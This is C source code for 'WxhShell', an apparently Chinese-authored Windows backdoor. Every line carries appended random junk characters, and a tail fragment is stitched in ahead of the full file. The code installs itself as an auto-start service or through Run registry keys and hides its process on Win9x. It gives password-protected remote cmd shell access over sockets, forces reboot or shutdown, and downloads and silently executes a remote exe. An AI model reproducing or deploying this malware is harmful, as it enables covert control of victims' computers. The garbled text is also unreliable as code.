    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [x)e6p)  
    if(Boot(SHUTDOWN)) OMZT\$9yT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4tC_W!?$t  
    else { g}D$`Nx:  
    closesocket(wsh); N<{ `n;  
    ExitThread(0); BmM,vllO  
    } 7^iAc6QSy3  
    break; *Q>:|F[vM  
    } q)~qd$yMS  
  // 获取shell 6+FON$8  
  case 's': { b1#=q0Zl  
    CmdShell(wsh); t#q> U%!  
    closesocket(wsh); Ocb2XEF  
    ExitThread(0); w* I+~o-  
    break; c]]F`B  
  } s6D-?G*u%8  
  // 退出 H94.E|Q\+  
  case 'x': { p3S c4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [s/@z*,M1  
    CloseIt(wsh); cDx^}N!  
    break; n,F00Y R  
    } Chua>p!$g  
  // 离开 O)Qz$  
  case 'q': { @( t:E`8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m=9 N^_  
    closesocket(wsh); H6I #Xj  
    WSACleanup(); "uCQm '  
    exit(1); lkm(3y@']A  
    break; A!D:Kc3  
        } jQb D2x6(  
  } 9PJDT]  
  } Z C93C7lJ  
6ZR0_v;TD  
  // 提示信息 zFn&~lFB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wa(S20y F  
} ]'Yw#YB  
  } R u5&xIQ  
X{ =[q|P  
  return; FT;JYkO  
} J$Epj  
#H`y1zm  
// shell模块句柄 ]KeNC)R  
int CmdShell(SOCKET sock) _p&$X  
{ ;N\?]{ L  
STARTUPINFO si;  62jA  
ZeroMemory(&si,sizeof(si)); wDO5Zew!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q?L(V+X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _);Kb/  
PROCESS_INFORMATION ProcessInfo;  ?~.&Y  
char cmdline[]="cmd"; {wP|b@(1t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hBhkb ~Oky  
  return 0; 6\;1<Sw*  
} ra>`J_  
)0mDN.  
// 自身启动模式 JNaW> X$K  
int StartFromService(void) _w;+Jh  
{ :Y>] 6  
typedef struct At(9)6n8  
{ [QbXj0en$  
  DWORD ExitStatus; >n~p1:$  
  DWORD PebBaseAddress; HIm, "iYk  
  DWORD AffinityMask; 1RbYPX  
  DWORD BasePriority; $0}bi:7  
  ULONG UniqueProcessId; rbPs~C-[  
  ULONG InheritedFromUniqueProcessId; H4NEB1 TO>  
}   PROCESS_BASIC_INFORMATION; )F9r?5}v4x  
%, et$1`g  
PROCNTQSIP NtQueryInformationProcess; N| Pm|w*?  
Ra5'x)m36)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~ fEs!hl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s RQh~5kM  
ok[=1gA#h  
  HANDLE             hProcess; SAh054/St  
  PROCESS_BASIC_INFORMATION pbi; TEyx((SK  
JF%=Bc$C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3|Sy'J0'K  
  if(NULL == hInst ) return 0; Uob|Q=MQ  
ATM:As:<@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^ ~qs-.?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +[/47uFbI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -5 /v`  
/dt!J `:  
  if (!NtQueryInformationProcess) return 0; L5 9oh  
|ozoc"'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6;frIl;  
  if(!hProcess) return 0; z L'IN)7MU  
$af}+:'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -!,]Y10  
jHlOP,kc  
  CloseHandle(hProcess); 7/_ VE  
'S7@+kJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \Z20fh2  
if(hProcess==NULL) return 0; F9P0cGDs  
4>VZk^%b#  
HMODULE hMod; 9jGuelwN  
char procName[255]; n/oipiYx  
unsigned long cbNeeded; d[e:}1  
|$w={N^4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "P5bYq%0v  
:$i:8lz  
  CloseHandle(hProcess); MW$H/:3  
@:+n6  
if(strstr(procName,"services")) return 1; // 以服务启动 yj'' \  
)_*a7N!  
  return 0; // 注册表启动 |sqo+E  
} H! r Kz  
}<ONxg6Kb  
// 主模块 l$VxE'&LQ  
int StartWxhshell(LPSTR lpCmdLine) w2N3+Tkg  
{ >xV<nLf/  
  SOCKET wsl; &rztC]jF  
BOOL val=TRUE; (SsH uNt.  
  int port=0; !Vr45l  
  struct sockaddr_in door; =j+oKGkoCa  
>'-w %H/  
  if(wscfg.ws_autoins) Install(); ;%7XU~<a  
`3y!XET  
port=atoi(lpCmdLine); (_qBsng:  
gSr}p$N  
if(port<=0) port=wscfg.ws_port; uxC   
*76viqY;dE  
  WSADATA data; w$lfR ,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4nII/cPG  
z[\W\g*|ri  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X!rQ@F3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8jjk?PUD8  
  door.sin_family = AF_INET; '!^E92  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N _~KZQ11^  
  door.sin_port = htons(port); sb|3|J6=  
Q;XHHk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K>R;~ o  
closesocket(wsl);  m-'(27  
return 1; R8[i XXjku  
} #i+P(xV  
w <#*O:  
  if(listen(wsl,2) == INVALID_SOCKET) { ECS<l*i57&  
closesocket(wsl); ,/?%y\:J  
return 1; "T{~,'T  
} O:,2OMB}B`  
  Wxhshell(wsl); a\&(Ua  
  WSACleanup(); Ukx/jNyYv  
tC?A so  
return 0; 1(?CNW[  
}^pQbFku  
} n-y^ 7'v  
#'4<> G]  
// 以NT服务方式启动 pcuMGo-#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yF/< :  
{ -.b Io  
DWORD   status = 0; HTUYvU*-  
  DWORD   specificError = 0xfffffff; W7*_T]  
=tS[&6/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TDl!qp @  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !#c[~erNZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @0vC v  
  serviceStatus.dwWin32ExitCode     = 0; F9k I'<Q  
  serviceStatus.dwServiceSpecificExitCode = 0; Q"OV>klk  
  serviceStatus.dwCheckPoint       = 0; kj{rk^x  
  serviceStatus.dwWaitHint       = 0; //X e*0  
4>$ ;gH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h\=p=M  
  if (hServiceStatusHandle==0) return; xH"W}-#[  
Siz!/O!'  
status = GetLastError(); mEB2RLCM  
  if (status!=NO_ERROR) c#{Ywh  
{ ,5eH2W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SRt$4EL21  
    serviceStatus.dwCheckPoint       = 0; -7-Fd_F8  
    serviceStatus.dwWaitHint       = 0; Jt-X mGULB  
    serviceStatus.dwWin32ExitCode     = status; nr<WO~Xw~  
    serviceStatus.dwServiceSpecificExitCode = specificError; I~p8#<4#b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \~gA+ o}Q  
    return; ><;l:RGK|  
  } i{ t TUA  
kyW6S+#-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,J~,ga~  
  serviceStatus.dwCheckPoint       = 0; ="3a%\  
  serviceStatus.dwWaitHint       = 0; ?%\mQmjas  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g.[+yzuE6  
} &YT_#M  
v!<PDw2'  
// 处理NT服务事件,比如:启动、停止 S|K |rDr0n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I@3Q=14k%  
{ Tjnt(5g  
switch(fdwControl) *.kj]BoO  
{ x @1px&^  
case SERVICE_CONTROL_STOP: KY4d+~2  
  serviceStatus.dwWin32ExitCode = 0; gB(9vhj $  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {E!$ xY8  
  serviceStatus.dwCheckPoint   = 0; P['X<Xt8  
  serviceStatus.dwWaitHint     = 0; vP3K7En  
  { wqJ*%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OOCQsoN  
  } kx|me~I  
  return; ' 2>l  
case SERVICE_CONTROL_PAUSE: sW;7m[o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h6g=$8E  
  break; |if'_x1V  
case SERVICE_CONTROL_CONTINUE: fph-v-cl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y{,2X~ 7  
  break; 'eqiYY|  
case SERVICE_CONTROL_INTERROGATE: 48wDf_<f5=  
  break; y&7YJx  
}; ;!'qtw"CB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <\h*Zy  
} SEYGy+#K  
/ >%L[RJ4  
// 标准应用程序主函数 8|w-XR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d{W}p~UbH  
{ /v5qyR7an  
>&BrCu[u  
// 获取操作系统版本 8GY.){d!l  
OsIsNt=GetOsVer(); !&W|myN^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1:_=g#WH  
G OpjRA@  
  // 从命令行安装 5Yl6?  
  if(strpbrk(lpCmdLine,"iI")) Install(); `"B^{o  
kg:l:C)Tq  
  // 下载执行文件 M^uU4My  
if(wscfg.ws_downexe) { *MI)]S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l1}R2lSEO  
  WinExec(wscfg.ws_filenam,SW_HIDE); qh$X^%g  
} z4g+2f7h-X  
L7m`HVCt&  
if(!OsIsNt) { tR<L`?4  
// 如果时win9x,隐藏进程并且设置为注册表启动 zwnw'  
HideProc(); 85} ii{S  
StartWxhshell(lpCmdLine); [g+y_@9s  
} y<|)'(  
else _e*c  
  if(StartFromService()) ;|6FdU  
  // 以服务方式启动 X($6IL6m  
  StartServiceCtrlDispatcher(DispatchTable);  qtzFg#  
else _-/x;C  
  // 普通方式启动 V/+Jc( N  
  StartWxhshell(lpCmdLine); AVv#\JrRW  
}'TTtV:Q  
return 0; \e|U9;Mf  
} HVGr-/  
0V3gKd7  
s@s/ '^`  
H*rx{F?  
=========================================== "<x&pQZ%  
<5I1DF[  
5z~\5x  
(f~gEKcB2u  
/W`$yM3  
5%P[^}  
" E=k w)<X2  
)v1CC..  
#include <stdio.h> 's.~$  
#include <string.h> \TUE<<?1s  
#include <windows.h> %[ /<+  
#include <winsock2.h> sB6dp D  
#include <winsvc.h> ~:EW>Fq%i  
#include <urlmon.h> ^df x~C  
G?/c/rG  
#pragma comment (lib, "Ws2_32.lib") 4uUs7T  
#pragma comment (lib, "urlmon.lib") <s}|ZnGE   
3Z1OX]R  
#define MAX_USER   100 // 最大客户端连接数 sT`^ljp4  
#define BUF_SOCK   200 // sock buffer &K *X)DAs  
#define KEY_BUFF   255 // 输入 buffer hiwIWd:H  
Gs_qO)~xo  
#define REBOOT     0   // 重启 9 mPIykAj8  
#define SHUTDOWN   1   // 关机 k" YHsn  
!| xZ6KV  
#define DEF_PORT   5000 // 监听端口 4LsHs   
KDD@%E  
#define REG_LEN     16   // 注册表键长度 @rwU 1T33  
#define SVC_LEN     80   // NT服务名长度 $O9Xx  
W2eAhz&  
// 从dll定义API ~@Kf2dHes  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FJT1i@N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _]=9#Fg7{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x2k*| =$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Pz@/|&]  
`(DJs-xD  
// wxhshell配置信息 .oR3Q/|k]  
struct WSCFG { [N:BM% FQ  
  int ws_port;         // 监听端口 ^PqMi:htc  
  char ws_passstr[REG_LEN]; // 口令 iCrxV{   
  int ws_autoins;       // 安装标记, 1=yes 0=no #6W,6(#^#  
  char ws_regname[REG_LEN]; // 注册表键名 nU/;2=f<  
  char ws_svcname[REG_LEN]; // 服务名 O!^; mhy"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w^{! U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =IHje;s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7tgFDLA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WeC(w+}p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &g0g]G21*I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :#$F)]y'\  
J#aVo &.Y  
}; <MdGe1n  
#hJQbv=B"  
// default Wxhshell configuration bRPO:lAy  
struct WSCFG wscfg={DEF_PORT, =nU/ [T.  
    "xuhuanlingzhe", h/<=u9J  
    1, R#qI( V  
    "Wxhshell", \84v-VK  
    "Wxhshell", ^u)rB<#BR  
            "WxhShell Service", i2PZ'.sL  
    "Wrsky Windows CmdShell Service", 5/M ED}9C(  
    "Please Input Your Password: ", t3b@P4c \  
  1, XoItV  
  "http://www.wrsky.com/wxhshell.exe", VVuR+=.&  
  "Wxhshell.exe" VT=K"`EpQ  
    }; mxJXL":|  
G{b:i8}l  
// 消息定义模块 )~ z Z'^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L.B~ax.|Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ll<mE,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |0 !I5|<k  
char *msg_ws_ext="\n\rExit."; %0XvJF)s  
char *msg_ws_end="\n\rQuit."; +\`rmI  
char *msg_ws_boot="\n\rReboot..."; vPmnN^  
char *msg_ws_poff="\n\rShutdown..."; q*8lnk  
char *msg_ws_down="\n\rSave to "; ZL_[4 Y  
6)[< )?A.[  
char *msg_ws_err="\n\rErr!"; #3MKH8k&~  
char *msg_ws_ok="\n\rOK!"; 6sB$<#  
, 2`~ NPb  
char ExeFile[MAX_PATH]; H}nJbnU  
int nUser = 0; AhxGj+  
HANDLE handles[MAX_USER]; nl n OwyMJ  
int OsIsNt; #w>~u2W  
7[KCWJ  
SERVICE_STATUS       serviceStatus; f z}?*vPW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uGCp#>+  
'UfeluMd  
// 函数声明 E5UcZ7  
int Install(void); 'MQ%)hipA  
int Uninstall(void); -9o{vmB{  
int DownloadFile(char *sURL, SOCKET wsh); G!Zyl^  
int Boot(int flag); 4# )6.f~  
void HideProc(void); &ao(!/im  
int GetOsVer(void); @Zm J z  
int Wxhshell(SOCKET wsl); `ZGcgO<c\  
void TalkWithClient(void *cs); 4tJa-7  
int CmdShell(SOCKET sock); ,W*H6fw+  
int StartFromService(void); 1 Z[f {T)  
int StartWxhshell(LPSTR lpCmdLine); kMxjS^fr  
Gvx[ 8I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^Mytp>7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *Km7U-BG  
w>979g  
// 数据结构和表定义 '*R%^RK  
SERVICE_TABLE_ENTRY DispatchTable[] = 8_Z/o5s  
{ g`?:=G:a*  
{wscfg.ws_svcname, NTServiceMain}, X9XI;c;b-  
{NULL, NULL} QUOKThY?  
}; sN/+   
l [%lE  
// 自我安装 `# ^0cW  
int Install(void) QxpKX_@Q5  
{ YYUe)j{T  
  char svExeFile[MAX_PATH]; #Ufo)\x  
  HKEY key; )^/0cQcJ  
  strcpy(svExeFile,ExeFile); fgCT!s7z  
=~|:t&v=c  
// 如果是win9x系统,修改注册表设为自启动 {THqz$KN  
if(!OsIsNt) { |y1;&<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GAl+Zg##  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); : F9|&q-W,  
  RegCloseKey(key); bQQVj?8jp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '6S%9ahE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jv&+<j`r  
  RegCloseKey(key); ~&g a1r2v?  
  return 0; urZ8j?}c  
    } )2.)3w1_4  
  } PC/!9s 0W  
} ~UPZ<  
else { g.C5r]=+&  
}5bM1h#z  
// 如果是NT以上系统,安装为系统服务 <Ar$v'W=F{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +)/ Uu3"=  
if (schSCManager!=0) {#hVD4$b  
{ E%3TP_B3  
  SC_HANDLE schService = CreateService 7z'h a?  
  ( I3)Zr+  
  schSCManager, :.&{Z"  
  wscfg.ws_svcname, L *Y|ey  
  wscfg.ws_svcdisp, U[||~FW'  
  SERVICE_ALL_ACCESS, $0qMQ%P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =NDOS{($  
  SERVICE_AUTO_START, pP.'wSj  
  SERVICE_ERROR_NORMAL, DW2>&|  
  svExeFile, Mv|!2 [:  
  NULL, eOY^$#Y  
  NULL, BD*G1k_q  
  NULL, $>w/Cy  
  NULL, !j^&gRH  
  NULL bFGDgwe z  
  ); Qv{,wytyO  
  if (schService!=0) >*qQ+_  
  { m*n5zi|O  
  CloseServiceHandle(schService); @Icq1zb] y  
  CloseServiceHandle(schSCManager); {fz$Z!8-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `W5-.Tv  
  strcat(svExeFile,wscfg.ws_svcname); h;M3yTM-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W{Z^n(f4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jk7 0u[\  
  RegCloseKey(key); ?R'Y?b  
  return 0; # c Fr   
    } TFH&(_b  
  } 4gZ &^y'  
  CloseServiceHandle(schSCManager); <z0WLw0'z  
} q7Es$zjX  
} _vl}*/=Hc  
p/olCmHD)  
return 1; X0uJNHO  
} yyP-=Lhmo=  
.SS<MDcqIt  
// 自我卸载 r>|-2}{N/  
int Uninstall(void) @;)PSp*j  
{ ;y1Q6eN  
  HKEY key; vg\/DbI'  
`_qK&&s  
if(!OsIsNt) { wAF,H8 -DK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jRQ+2@n{E  
  RegDeleteValue(key,wscfg.ws_regname); pn%#w*'  
  RegCloseKey(key); aV|9H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QLo(i  
  RegDeleteValue(key,wscfg.ws_regname); \N6\v5vh  
  RegCloseKey(key); Q{y{rC2P  
  return 0; q``wt  
  } }[!92WS/ee  
} T|){<  
} lU.Kc  
else { rAukHeH  
j]5WK_~M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZFxLBb:  
if (schSCManager!=0) zx%X~U   
{ Vfs $ VY2.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !:0v{ZQ  
  if (schService!=0) ^[q /Mw  
  { Xs$Ufi  
  if(DeleteService(schService)!=0) { ^mPPyT,(  
  CloseServiceHandle(schService); (03pJV&K  
  CloseServiceHandle(schSCManager); 8]"(!i_;)  
  return 0; ^&[+H8$  
  } ")UwkF  
  CloseServiceHandle(schService); ~[W#/kd1n  
  } s"~5']8  
  CloseServiceHandle(schSCManager); N4{nG,Mo]  
} s] au/T6b  
} 4IsG=7   
Pq p *  
return 1; w"zE_9I\  
} =$^MQ\S0p  
Ew,T5GG  
// 从指定url下载文件 fZN><3MO>  
int DownloadFile(char *sURL, SOCKET wsh) uzU{z;  
{ Z" v<0]rN  
  HRESULT hr; a. %LHb  
char seps[]= "/"; fi%r<]@  
char *token; p{tK_ZBy]c  
char *file; %s=Dj2+  
char myURL[MAX_PATH]; %J7UP4  
char myFILE[MAX_PATH]; .#w6%c@  
w# y2_  
strcpy(myURL,sURL); (Tvcq  
  token=strtok(myURL,seps); 7+,vTsCd  
  while(token!=NULL) -n))*.V  
  { Z~u9VYi!  
    file=token; Gt-UJ-RR y  
  token=strtok(NULL,seps); $:bih4 @>  
  } a)s;dp}T%  
mY-hN|  
GetCurrentDirectory(MAX_PATH,myFILE); eph)=F$  
strcat(myFILE, "\\"); Zq"7,z7  
strcat(myFILE, file); EU+cca|qS9  
  send(wsh,myFILE,strlen(myFILE),0); "8<K'zeS8  
send(wsh,"...",3,0); m#5_%3T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B#l?IB~  
  if(hr==S_OK) lP _db&  
return 0; 7&%^>PU7  
else Ngy=!g?Hk=  
return 1; E3l*8F%<3  
m,MSMw1p  
} dQ:cYNm  
h#.N3o  
// 系统电源模块 [c&B|h=>  
int Boot(int flag) v}(6 <wnnS  
{ oh-|'5+,;h  
  HANDLE hToken; cDkV;$  
  TOKEN_PRIVILEGES tkp; N$I03m  
6d|q+]x_n  
  if(OsIsNt) { 5LW}h^N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ! fl4"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _M5%V>HO  
    tkp.PrivilegeCount = 1; E4%j.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X9=N%GY[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K 1#ji*Tp  
if(flag==REBOOT) { v/Pw9j!r;m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +s[\g>i  
  return 0; 2& LQg=O  
} aMuVqZw  
else { }SfbCa)UO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) blt'={Z?.x  
  return 0; 8*a), 3aK  
} Z|m`7xeCy  
  } 5Jk<xWKj  
  else { p .K*UP  
if(flag==REBOOT) { *VeW?mY,P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <=um1P3X  
  return 0; vT{kL  
} R)8s  
else { l?qqqB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JAb6zpP  
  return 0; hf<J \   
} QfpuZEUK  
} Hh[Tw&J4  
lFG9=Wf  
return 1; Y%`SHe7M  
} 1T|$BK@)  
Z*! O:/B  
// win9x进程隐藏模块 JgfVRqm   
void HideProc(void) &)9{HRP  
{ Djt%r<  
3{7T4p.G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TpfZ>d2  
  if ( hKernel != NULL ) Ty4S~ClO#'  
  { WCq /c6 D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b~Y%gC)FR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4vZ4/#(x  
    FreeLibrary(hKernel); N3A<:%s  
  } L EWhb!U  
7L(e h7  
return;  J m{  
} B;#J"6w  
@4+#Xd7"  
// 获取操作系统版本 ~Qj}ijWD  
int GetOsVer(void) HTjkR*E  
{ B|Wk?w.{r\  
  OSVERSIONINFO winfo; y0bq;(~X~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $K}DB N; 4  
  GetVersionEx(&winfo); DT(d@upH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }^ FulsC  
  return 1; l$Gl'R>>*  
  else o+O}Te  
  return 0; [:;# ]?  
} n%%7KTqu  
?;ukvD  
// 客户端句柄模块 -.I4-6~  
int Wxhshell(SOCKET wsl) hlJpElYf  
{ IzLF'F  
  SOCKET wsh; -6~'cm  
  struct sockaddr_in client; (nSml,gU  
  DWORD myID; $9!D\N,}]C  
XVVD 0^ Q  
  while(nUser<MAX_USER) "E*e2W  
{ /%rq hHs  
  int nSize=sizeof(client); \1%l^dE@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x34f9! 't  
  if(wsh==INVALID_SOCKET) return 1; VRng=,  
OEhHR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W#w.h33)#6  
if(handles[nUser]==0) Do7=#|bAM  
  closesocket(wsh); Vzlh+R>c  
else u0s8yPA  
  nUser++; T/r#H__`  
  } p]G3)s@>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JgRYljQi2  
k;y w#Af8  
  return 0; ]2SF9p_  
} R3.*dqo$  
`8_z!)  
// 关闭 socket TYns~X_PR  
void CloseIt(SOCKET wsh) "h"NW[R  
{ L5fuM]G`  
closesocket(wsh); kyw/LE3$-  
nUser--; A#h/B+  
ExitThread(0); yx{3J  
} T )~9Wac  
1QqHF$S  
// 客户端请求句柄 F'm(8/A$  
void TalkWithClient(void *cs) i{c@S:&@^  
{ ;az5ZsvN D  
xG2+(f#C1  
  SOCKET wsh=(SOCKET)cs; 8P' ana  
  char pwd[SVC_LEN]; ?Ke eHMu  
  char cmd[KEY_BUFF]; ->{d`-}m'  
char chr[1]; -Sv"gLB  
int i,j; o :q1beU  
ShOX<Fb&  
  while (nUser < MAX_USER) { T(?HMyg3  
bO5k6i  
if(wscfg.ws_passstr) { w(d>HHg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L5YnG_M&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mz]: }qmFA  
  //ZeroMemory(pwd,KEY_BUFF); 5sO@OV\ y  
      i=0; `YBkF  
  while(i<SVC_LEN) { Y4.Eq+$gh  
GwU?wIIj^  
  // 设置超时 M\<w#wZ  
  fd_set FdRead; H].y w9  
  struct timeval TimeOut; $(pF;_W  
  FD_ZERO(&FdRead); 266oTER]v:  
  FD_SET(wsh,&FdRead); | tQiFC  
  TimeOut.tv_sec=8; fnKY1y]2+  
  TimeOut.tv_usec=0; :aLT0q!K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6.1)IQkO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u"xJjS  
K0pac6]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z)9g~g94  
  pwd=chr[0]; {XurC}#\  
  if(chr[0]==0xd || chr[0]==0xa) { R<ND=[}s  
  pwd=0; Bf`9V713  
  break; =WZqQq{  
  } 5~sx:0;  
  i++; [4&#*@  
    } eW'2AT?2H%  
B?rSjdY4  
  // 如果是非法用户,关闭 socket bizTd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #V02hs1  
} `?(Bt|<>  
G2{O9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SzD KByi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s) O[t  
#EGA#SKoq  
while(1) { /Dt d#OAdr  
MTGiAFE  
  ZeroMemory(cmd,KEY_BUFF); "L&'Fd@ZU  
:wqC8&V  
      // 自动支持客户端 telnet标准   )jrT6x^IB  
  j=0; t+r:"bb  
  while(j<KEY_BUFF) { va|*c22;|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q?t^@  
  cmd[j]=chr[0]; ?']h%'Q  
  if(chr[0]==0xa || chr[0]==0xd) { F1%vtk;2?  
  cmd[j]=0; P>Euq'ajX  
  break; S"mcUU}}  
  } Pl=]Srw  
  j++; c?2MBtnu  
    } J<gJc*Q  
h&3YGCl  
  // 下载文件 qGmNz}4D5  
  if(strstr(cmd,"http://")) { X.F^$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %#L]]-%  
  if(DownloadFile(cmd,wsh)) 2?C`4AR[2H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3VnQnd E  
  else ?YM4b5!3T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VQI(Vp|  
  } s^OO^%b  
  else { n(nBRCG)o  
Y<"7x#AB!  
